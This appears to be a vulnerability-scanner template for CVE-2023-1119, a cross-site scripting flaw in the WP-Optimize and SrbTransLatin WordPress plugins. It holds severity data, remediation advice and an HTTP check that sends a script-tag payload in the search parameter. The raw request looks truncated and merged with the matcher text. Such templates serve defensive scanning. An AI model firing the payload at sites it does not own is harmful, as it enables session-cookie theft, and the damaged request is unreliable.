id: CVE-2023-1119 info: name: WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting author: ritikchaddha severity: medium description: | The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping. impact: | Unauthenticated attackers can inject malicious JavaScript through search parameters due to improper HTML character escaping in a third-party library, enabling theft of WordPress user session cookies. remediation: Users are recommended to upgrade WP-Optimize to version 3.2.13 and SrbTransLatin to version 2.4.1 to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/1119 - https://nvd.nist.gov/vuln/detail/CVE-2023-1119 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-1119 cwe-id: CWE-79 epss-score: 0.24225 epss-percentile: 0.96189 cpe: cpe:2.3:a:wp-optimize:wp-optimize:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: wordpress product: wp-optimize,srbtranslatin fofa-query: body="/wp-content/plugins/wp-optimize" tags: cve,cve2023,wp,wp-plugin,wordpress,wp-optimize,xss,vkev,vuln http: - method: GET path: - "{{BaseURL}}/" matchers: - type: word part: body words: - "/wp-content/plugins/wp-optimize" internal: true - raw: - | GET /?s=<%2Fscript>" - "Search" condition: and - type: word part: body words: - text/html - type: status status: - 200 # digest: 4a0a0047304502200960c4a4905a43891198dfe6dd7e24468f031f31726ce25e483fe129733ef7fb022100a43fc618f4e022f179b93f8035f8f838e4ef47d6182bfd8e11d2e31e4bc46d23:922c64590222798bb761d5b6d8e72950